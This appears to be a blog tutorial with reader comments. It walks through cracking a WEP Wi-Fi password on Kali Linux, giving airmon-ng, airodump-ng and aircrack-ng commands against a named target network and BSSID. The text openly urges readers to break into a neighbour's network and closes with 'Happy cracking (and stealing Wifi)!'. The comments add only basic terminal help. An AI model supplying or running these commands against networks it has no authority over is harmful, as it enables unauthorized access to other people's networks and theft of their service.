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Wifi Hack: Crack WEP Passwords

> It’s easy with Aircrack-ng
You probably already know this but Kali Linux comes with a neat set of software called Aircrack-ng. This particular set of software is a godsend for us… penetration testers or ethical hackers.
Do you know how easy it is to crack WEP passwords with Kali Linux? The whole process takes about 10 to 15 minutes and usually never fails. WEP protection is outdated and weak. Kali Linux running Aircrack-ng makes short work of it. A few commands here and a few commands there and you have the WEP password of your neighbour in your hands. Make sure you put the WEP password to good use of course.
So, let’s begin hacking your neighbour’s WiFi’s WEP password!
> Cracking WEP passwords using Kali Linux
  1. Open up a Terminal window.
  2. Enter: airmon-ng
  3. Note down the interface on which you want to start the monitoring. In my case it is wlan0 so I will be using wlan0. Kali Tutorials - WEP Crack Hack
  4. Enter: airmon-ng start wlan0 If the result looks like this: then your card is in monitor mode. Kali Tutorials - WEP Crack Hack
  5. Note down the monitoring interface’s name (“monitor mode enabled on mon0“). In my case it is mon0 so I will be using mon0.
  6. Enter: airodump-ng mon0 Kali Tutorials - WEP Crack Hack
  7. My target is “mtnl” which is using WEP encryption and authentication. Wifi “mtnl” is working on channel 4 and BSSID (or bssid) is 0C:D2:B5:03:43:68. I will be using this information. Enter: airodump-ng –w mtnl-org –c 4 –bssid 0C:D2:B5:03:43:68 mon0 Kali Tutorials - WEP Crack Hack
  8. After about 15,000 packets have been captured, enter: aircrack-ng mtnl-org-01.cap to start cracking the WEP password. Kali Tutorials - WEP Crack Hack
> Conclusion
Well… that was pretty painless. The whole process may have taken around 10 minutes for me but it may vary for you. The rate of capture of packets largely depends on the network and the signal strength. Now you have your neighbour’s Wifi’s WEP password in your hands. What will you do with it?
Happy cracking (and stealing Wifi)!
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5 THOUGHTS ON “WIFI HACK: CRACK WEP PASSWORDS”

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  1. Pingback: WiFi Hack: Speed Up WEP Cracking | Kali Tutorials
  2. dude, I never use Kali before and when I enter command “airodump-ng mon0” it does not allowed me to type any more command. it start giving information and not ever stop. I already wait for 30 min. please help me. how I stop getting information and type another command. thanks in advance.
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    1. You can:
      a) Hit Ctrl+C to stop the process.
      b) Open a new Terminal.
      This is basic Linux. I recommend that you learn a little Linux before you delve into such complexities.
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    2. I recommend using basic debian and installing gnome first instead of using Kali just to learn basics, Like raydnafsa said. It is just Kali but without all the hack tools and on a much simpler complexity.
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